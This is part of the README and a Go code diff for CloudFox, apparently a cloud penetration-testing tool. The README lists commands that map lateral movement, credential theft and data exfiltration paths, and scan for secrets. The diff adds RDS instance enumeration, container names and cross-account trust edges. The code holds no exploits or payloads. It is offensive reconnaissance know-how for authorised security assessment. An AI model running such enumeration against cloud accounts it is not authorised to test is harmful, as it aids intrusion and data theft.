| GCP | [notebooks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#notebooks) | Enumerate Vertex AI Workbench notebooks |
| GCP | [workload-identity](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#workload-identity) | Enumerate GKE Workload Identity and Workload Identity Federation |
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) | Quick resource inventory - works without Cloud Asset API |
| GCP | [storage](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage) | Enumerate GCP Cloud Storage buckets with security configuration |
| GCP | [storage-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage-enum) | Enumerate GCS buckets for sensitive files (credentials, secrets, configs) |
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Enumerate GCP BigQuery datasets and tables with security analysis |
| GCP | [cloudsql](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudsql) | Enumerate Cloud SQL instances with security analysis |
| GCP | [spanner](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner) | Enumerate Cloud Spanner instances and databases |
| GCP | [bigtable](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable) | Enumerate Cloud Bigtable instances and tables |
| GCP | [filestore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#filestore) | Enumerate Filestore NFS instances |
| GCP | [memorystore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#memorystore) | Enumerate Memorystore (Redis) instances |
| GCP | [vpc-networks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-networks) | Enumerate VPC Networks |
| GCP | [firewall](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#firewall) | Enumerate VPC networks and firewall rules with security analysis |
| GCP | [loadbalancers](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#loadbalancers) | Enumerate Load Balancers |
| GCP | [dns](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dns) | Enumerate Cloud DNS zones and records with security analysis |
| GCP | [endpoints](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#endpoints) | Enumerate all network endpoints (external and internal) with IPs, ports, and hostnames |
| GCP | [private-service-connect](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#private-service-connect) | Enumerate Private Service Connect endpoints and service attachments |
| GCP | [network-topology](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#network-topology) | Visualize VPC network topology, peering relationships, and trust boundaries |
| GCP | [vpc-sc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-sc) | Enumerate VPC Service Controls |
| GCP | [access-levels](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-levels) | Enumerate Access Context Manager access levels |
| GCP | [cloud-armor](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloud-armor) | Enumerate Cloud Armor security policies and find weaknesses |
| GCP | [iap](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iap) | Enumerate Identity-Aware Proxy configurations |
| GCP | [beyondcorp](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#beyondcorp) | Enumerate BeyondCorp Enterprise configurations |
| GCP | [kms](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#kms) | Enumerate Cloud KMS key rings and crypto keys with security analysis |
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Enumerate GCP Secret Manager secrets with security configuration |
| GCP | [cert-manager](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cert-manager) | Enumerate SSL/TLS certificates and find expiring or misconfigured certs |
| GCP | [org-policies](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#org-policies) | Enumerate organization policies and identify security weaknesses |
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Enumerate GCP Artifact Registry and Container Registry with security configuration |
| GCP | [cloudbuild](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudbuild) | Enumerate Cloud Build triggers and builds |
| GCP | [source-repos](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#source-repos) | Enumerate Cloud Source Repositories |
| GCP | [scheduler](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#scheduler) | Enumerate Cloud Scheduler jobs with security analysis |
| GCP | [pubsub](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#pubsub) | Enumerate Pub/Sub topics and subscriptions with security analysis |
| GCP | [logging](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging) | Enumerate Cloud Logging sinks and metrics with security analysis |
| GCP | [organizations](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#organizations) | Enumerate GCP organization hierarchy |
| GCP | [asset-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#asset-inventory) | Enumerate Cloud Asset Inventory with optional dependency analysis |
| GCP | [backup-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#backup-inventory) | Enumerate backup policies, protected resources, and identify backup gaps |
| GCP | [lateral-movement](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#lateral-movement) | Map lateral movement paths, credential theft vectors, and pivot opportunities |
| GCP | [data-exfiltration](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#data-exfiltration) | Identify data exfiltration paths, potential vectors, and missing security hardening |
| GCP | [public-access](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#public-access) | Find resources with allUsers/allAuthenticatedUsers access across 16 GCP services |
| GCP | [cross-project](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cross-project) | Analyze cross-project IAM bindings, logging sinks, and Pub/Sub exports for lateral movement |
| GCP | [foxmapper](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper) | Run FoxMapper (graph-based IAM analysis) for privilege escalation path discovery |
| GCP | [logging-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging-enum) | Scan Cloud Logging entries for sensitive data (credentials, tokens, PII) |
| GCP | [bigquery-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery-enum) | Scan BigQuery datasets, tables, and columns for sensitive data indicators |
| GCP | [bigtable-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable-enum) | Scan Bigtable instances, tables, and column families for sensitive data indicators |
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
# Authors
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
* [Seth Art (@sethsec](https://twitter.com/sethsec))
* Joseph Barcia
# Contributing
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
+8 -3
View File
@@ -30,6 +30,7 @@ type ApiGwModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Gateways []ApiGateway
@@ -178,10 +179,14 @@ func (m *ApiGwModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
// <-semaphore
// }()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("apigateway", r)
res, err := servicemap.IsServiceInRegion("api-gateway", r)
if err != nil {
m.modLog.Error(err)
}
+7
View File
@@ -10,11 +10,17 @@ import (
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/aws/smithy-go/ptr"
"github.com/bishopfox/awsservicemap"
"github.com/spf13/afero"
)
func TestApiGw(t *testing.T) {
// Create a service map that downloads from AWS
serviceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
m := ApiGwModule{
AWSProfile: "unittesting",
AWSRegions: []string{"us-east-1"},
@@ -26,6 +32,7 @@ func TestApiGw(t *testing.T) {
WrapTable: false,
APIGatewayClient: &sdk.MockedAWSAPIGatewayClient{},
APIGatewayv2Client: &sdk.MockedAWSAPIGatewayv2Client{},
ServiceMap: serviceMap,
}
fs := internal.MockFileSystem(true)
+1 -1
View File
@@ -301,7 +301,7 @@ func preloadData(filePaths []string) (*AllAccountData, error) {
for _, filePath := range filePaths {
fileRecords, err := loadFileRecords(filePath)
if err != nil {
if err != nil {
return nil, err
}
appData.Files[filePath] = fileRecords
+73 -5
View File
@@ -1,7 +1,9 @@
package aws
import (
"bufio"
"fmt"
"os"
"path/filepath"
"strings"
@@ -200,7 +202,12 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
s, sourceVertexWithProperties, _ := m.GlobalGraph.VertexWithProperties(source)
//for the source vertex, we only want to deal with the ones that are NOT in this account
if sourceVertexWithProperties.Attributes["AccountID"] != aws.ToString(m.Caller.Account) {
// skip if the source Name contains AWSSSO-
if strings.Contains(sourceVertexWithProperties.Attributes["Name"], "AWSSSO-") {
continue
}
// now let's see if there is a path from this source to our destination
path, _ := graph.ShortestPath(m.GlobalGraph, s, d)
// if we have a path, then lets document this source as having a path to our destination
if path != nil {
@@ -235,7 +242,7 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
privescPathsBody = append(privescPathsBody, []string{
aws.ToString(m.Caller.Account),
s,
magenta(d),
d,
magenta(destinationVertexWithProperties.Attributes["IsAdminString"]),
paths})
} else {
@@ -289,7 +296,7 @@ func ConvertIAMRoleToNode(role types.Role, vendors *knownawsaccountslookup.Vendo
TrustedPrincipals = append(TrustedPrincipals, TrustedPrincipal{
TrustedPrincipal: principal,
ExternalID: statement.Condition.StringEquals.StsExternalID,
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
VendorName: vendorName,
//IsAdmin: false,
//CanPrivEscToAdmin: false,
@@ -650,6 +657,48 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
}
}
// if the role trusts a principal in another account explicitly, then the principal can assume the role
if thisAccount != trustedPrincipalAccount {
// make a CAN_ASSUME relationship between the trusted principal and this role
err := GlobalGraph.AddEdge(
TrustedPrincipal.TrustedPrincipal,
a.Arn,
//graph.EdgeAttribute("AssumeRole", "Cross account explicit trust"),
graph.EdgeAttribute("AssumeRole", "can assume (because of an explicit cross account trust) "),
)
if err != nil {
//fmt.Println(err)
//fmt.Println(TrustedPrincipal.TrustedPrincipal + a.Arn + "Cross account explicit trust")
if err == graph.ErrEdgeAlreadyExists {
// update the edge by copying the existing graph.Edge with attributes and add the new attributes
//fmt.Println("Edge already exists")
// get the existing edge
existingEdge, _ := GlobalGraph.Edge(TrustedPrincipal.TrustedPrincipal, a.Arn)
// get the map of attributes
existingProperties := existingEdge.Properties
// add the new attributes to attributes map within the properties struct
// Check if the Attributes map is initialized, if not, initialize it
if existingProperties.Attributes == nil {
existingProperties.Attributes = make(map[string]string)
}
// Add or update the attribute
existingProperties.Attributes["AssumeRole"] = "can assume (because of an explicit cross account trust) "
err = GlobalGraph.UpdateEdge(
TrustedPrincipal.TrustedPrincipal,
a.Arn,
graph.EdgeAttributes(existingProperties.Attributes),
)
if err != nil {
fmt.Println(err)
}
}
}
}
// If the role trusts a principal in this account or another account using the :root notation, then we need to iterate over all of the rows in AllPermissionsRows to find the principals that have sts:AssumeRole permissions on this role
// if the role we are looking at trusts root in it's own account
@@ -667,6 +716,7 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
if PermissionsRowAccount == thisAccount {
// lets only look for rows that have sts:AssumeRole permissions
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
// lets only focus on rows that have an effect of Allow
if strings.EqualFold(PermissionsRow.Effect, "Allow") {
// if the resource is * or the resource is this role arn, then this principal can assume this role
@@ -820,10 +870,10 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
fmt.Sprintf("Could not get account number from this PermissionsRow%s", PermissionsRow.Arn)
}
if PermissionsRowAccount == trustedPrincipalAccount {
// lets only look for rows that have sts:AssumeRole permissions
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
// lets only look for rows that have sts:AssumeRole permis sions
if policy.MatchesAfterExpansion("sts:AssumeRole", PermissionsRow.Action) {
// if strings.EqualFold(PermissionsRow.Action, "sts:AssumeRole") ||
// strings.EqualFold(PermissionsRow.Action, "*") ||
// strings.EqualFold(PermissionsRow.Action, "*") {
// strings.EqualFold(PermissionsRow.Action, "sts:Assume*") ||
// strings.EqualFold(PermissionsRow.Action, "sts:*") {
// lets only focus on rows that have an effect of Allow
@@ -979,3 +1029,21 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
}
}
// function to read file specified in CapeArnIgnoreList which is separated by newlines, and convert it to a slice of strings with each line as an entry in the slice.
// the function accepts a string with the filename
func ReadArnIgnoreListFile(filename string) ([]string, error) {
var arnIgnoreList []string
file, err := os.Open(filename)
if err != nil {
return arnIgnoreList, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
arnIgnoreList = append(arnIgnoreList, scanner.Text())
}
return arnIgnoreList, scanner.Err()
}
+2
View File
@@ -17,6 +17,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
@@ -26,6 +27,7 @@ func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.G
Caller: caller,
AWSProfileProvided: AWSProfile,
Goroutines: Goroutines,
modLog: internal.TxtLog.WithFields(logrus.Fields{"module": "iam-simulator"}),
}
return iamSimMod
+7 -2
View File
@@ -28,6 +28,7 @@ type CloudformationModule struct {
WrapTable bool
AWSOutputType string
AWSTableCols string
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
CFStacks []CFStack
@@ -192,8 +193,12 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputDirectory string,
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
if err != nil {
+7 -2
View File
@@ -29,6 +29,7 @@ type CodeBuildModule struct {
AWSProfile string
SkipAdminCheck bool
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
@@ -211,8 +212,12 @@ func (m *CodeBuildModule) PrintCodeBuildProjects(outputDirectory string, verbosi
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("codebuild", r)
if err != nil {
+85 -2
View File
@@ -30,6 +30,7 @@ type DatabasesModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
Databases []Database
CommandCounter internal.CommandCounter
@@ -231,8 +232,12 @@ func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan boo
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer wg.Done()
serviceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
serviceMap := m.ServiceMap
if serviceMap == nil {
serviceMap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
m.executeRdsCheck(r, wg, semaphore, dataReceiver, serviceMap) // Also returns Neptune and DocDB
m.executeRedshiftCheck(r, wg, semaphore, dataReceiver, serviceMap)
@@ -271,6 +276,15 @@ func (m *DatabasesModule) executeRdsCheck(r string, wg *sync.WaitGroup, semaphor
service: "rds",
executor: m.getRdsClustersPerRegion,
})
m.executeCheck(check{
region: r,
wg: wg,
semaphore: semaphore,
dataReceiver: dataReceiver,
serviceMap: servicemap,
service: "rds",
executor: m.getRdsInstancesPerRegion,
})
}
func (m *DatabasesModule) executeRedshiftCheck(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database, servicemap *awsservicemap.AwsServiceMap) {
@@ -395,6 +409,75 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
}
}
func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
m.CommandCounter.Pending--
m.CommandCounter.Executing++
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, instance := range DBInstances {
var public string
var service string
var roles string
if instance.Endpoint == nil {
continue
}
name := aws.ToString(instance.DBInstanceIdentifier)
port := instance.Endpoint.Port
endpoint := aws.ToString(instance.Endpoint.Address)
engine := aws.ToString(instance.Engine)
if aws.ToBool(instance.PubliclyAccessible) {
public = "True"
} else {
public = "False"
}
if isNeptune(instance.Engine) {
service = "Neptune"
} else if isDocDB(instance.Engine) {
service = "DocsDB"
} else {
service = "RDS"
}
associatedRoles := instance.AssociatedRoles
for _, role := range associatedRoles {
roles = roles + aws.ToString(role.RoleArn) + " "
}
dataReceiver <- Database{
AWSService: service,
Region: r,
Name: name,
Engine: engine,
Endpoint: endpoint,
UserName: aws.ToString(instance.MasterUsername),
Port: aws.ToInt32(port),
Protocol: aws.ToString(instance.Engine),
Public: public,
Roles: roles,
}
}
}
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
+5 -4
View File
@@ -42,10 +42,11 @@ func TestDatabasesCommand(t *testing.T) {
}
expectedResults := []string{
"db1.cluster-123456789012.us-west-2.rds.amazonaws.com",
"db2.cluster-123456789012.us-west-2.rds.amazonaws.com",
"db3.cluster-123456789012.us-west-2.neptune.amazonaws.com",
"db4.cluster-123456789012.us-west-2.docdb.amazonaws.com",
"db1.cluster-123456789012.us-west-2.rds.amazonaws.com", // make sure it includes the Aurora clusters
"db2.cluster-123456789012.us-west-2.rds.amazonaws.com", // make sure it includes the Aurora clusters
"db3.cluster-123456789012.us-west-2.neptune.amazonaws.com", // make sure it includes the Neptune instances
"db4.cluster-123456789012.us-west-2.docdb.amazonaws.com", // make sure it includes the DocumentDB instances
"db1-instances-1.blah.us-west-2.rds.amazonaws.com", // make sure it includes the RDS instances
}
for _, expected := range expectedResults {
+9 -4
View File
@@ -31,7 +31,8 @@ type DirectoryModule struct {
AWSProfileProvided string
AWSProfileStub string
CloudFoxVersion string
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
Directories []Directory
CommandCounter internal.CommandCounter
output internal.OutputData2
@@ -190,10 +191,14 @@ func (m *DirectoryModule) PrintDirectories(outputDirectory string, verbosity int
func (m *DirectoryModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Directory) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("clouddirectory", r)
res, err := servicemap.IsServiceInRegion("directoryservice", r)
if err != nil {
m.modLog.Error(err)
}
+7 -2
View File
@@ -30,6 +30,7 @@ type ECRModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Repositories []Repository
@@ -197,8 +198,12 @@ func (m *ECRModule) PrintECR(outputDirectory string, verbosity int) {
func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ecr", r)
if err != nil {
+25 -4
View File
@@ -35,6 +35,7 @@ type ECSTasksModule struct {
Goroutines int
SkipAdminCheck bool
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
@@ -50,6 +51,7 @@ type MappedECSTask struct {
Cluster string
TaskDefinitionName string
TaskDefinitionContent string
ContainerName string
LaunchType string
ID string
ExternalIP string
@@ -145,6 +147,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
"Account",
"Cluster",
"TaskDefinition",
"ContainerName",
"LaunchType",
"ID",
"External IP",
@@ -171,6 +174,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
"Account",
"Cluster",
"TaskDefinition",
"ContainerName",
"LaunchType",
"ID",
"External IP",
@@ -184,6 +188,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
tableCols = []string{
"Cluster",
"TaskDefinition",
"ContainerName",
"LaunchType",
"External IP",
"Internal IP",
@@ -206,6 +211,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
aws.ToString(m.Caller.Account),
ecsTask.Cluster,
ecsTask.TaskDefinitionName,
ecsTask.ContainerName,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
@@ -302,8 +308,12 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedECSTask) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ecs", r)
if err != nil {
@@ -368,7 +378,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
return
}
eniIDs := []string{}
var eniIDs []string
for _, task := range Tasks {
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
if eniID != "" {
@@ -394,6 +404,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
Cluster: getNameFromARN(clusterARN),
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
ContainerName: getContainerNamesFromECSTask(task),
LaunchType: string(task.LaunchType),
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
@@ -505,8 +516,18 @@ func getIDFromECSTask(arn string) string {
return tokens[2]
}
func getContainerNamesFromECSTask(task types.Task) string {
var names []string
for _, container := range task.Containers {
names = append(names, aws.ToString(container.Name))
}
return strings.Join(names, "|")
}
func getPrivateIPv4AddressFromECSTask(task types.Task) string {
ips := []string{}
var ips []string
for _, attachment := range task.Attachments {
if aws.ToString(attachment.Type) != "ElasticNetworkInterface" || aws.ToString(attachment.Status) != "ATTACHED" {
+8 -5
View File
@@ -23,7 +23,6 @@ func TestECSTasks(t *testing.T) {
outputDirectory: ".",
verbosity: 2,
testModule: ECSTasksModule{
AWSProfile: "default",
AWSRegions: []string{"us-east-1", "us-west-1"},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests")},
@@ -33,10 +32,11 @@ func TestECSTasks(t *testing.T) {
ECSClient: &sdk.MockedECSClient{},
},
expectedResult: []MappedECSTask{{
Cluster: "MyCluster",
ID: "74de0355a10a4f979ac495c14EXAMPLE",
ExternalIP: "203.0.113.12",
Role: "test123",
Cluster: "MyCluster",
ID: "74de0355a10a4f979ac495c14EXAMPLE",
ContainerName: "web",
ExternalIP: "203.0.113.12",
Role: "test123",
}},
},
}
@@ -48,6 +48,9 @@ func TestECSTasks(t *testing.T) {
if expectedTask.Cluster != subtest.testModule.MappedECSTasks[index].Cluster {
log.Fatal("Cluster name does not match expected value")
}
if expectedTask.ContainerName != subtest.testModule.MappedECSTasks[index].ContainerName {
log.Fatal("Container name does not match expected value")
}
}
})
}
+7 -2
View File
@@ -32,6 +32,7 @@ type EKSModule struct {
AWSProfile string
SkipAdminCheck bool
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
@@ -242,8 +243,12 @@ func (m *EKSModule) EKS(outputDirectory string, verbosity int) {
func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("eks", r)
if err != nil {
+7 -2
View File
@@ -27,6 +27,7 @@ type ElasticNetworkInterfacesModule struct {
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
MappedENIs []MappedENI
CommandCounter internal.CommandCounter
@@ -233,8 +234,12 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
+50 -55
View File
@@ -63,6 +63,7 @@ type EndpointsModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Endpoints []Endpoint
@@ -105,7 +106,7 @@ func (m *EndpointsModule) PrintEndpoints(outputDirectory string, verbosity int)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
//fire up the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
@@ -267,8 +268,12 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
// <-semaphore
// }()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("lambda", r)
if err != nil {
@@ -288,7 +293,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
go m.getEksClustersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("mq", r)
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
if err != nil {
m.modLog.Error(err)
}
@@ -297,7 +302,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
go m.getMqBrokersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("es", r)
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
if err != nil {
m.modLog.Error(err)
}
@@ -315,7 +320,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
m.getGrafanaEndPointsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("elb", r)
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
if err != nil {
m.modLog.Error(err)
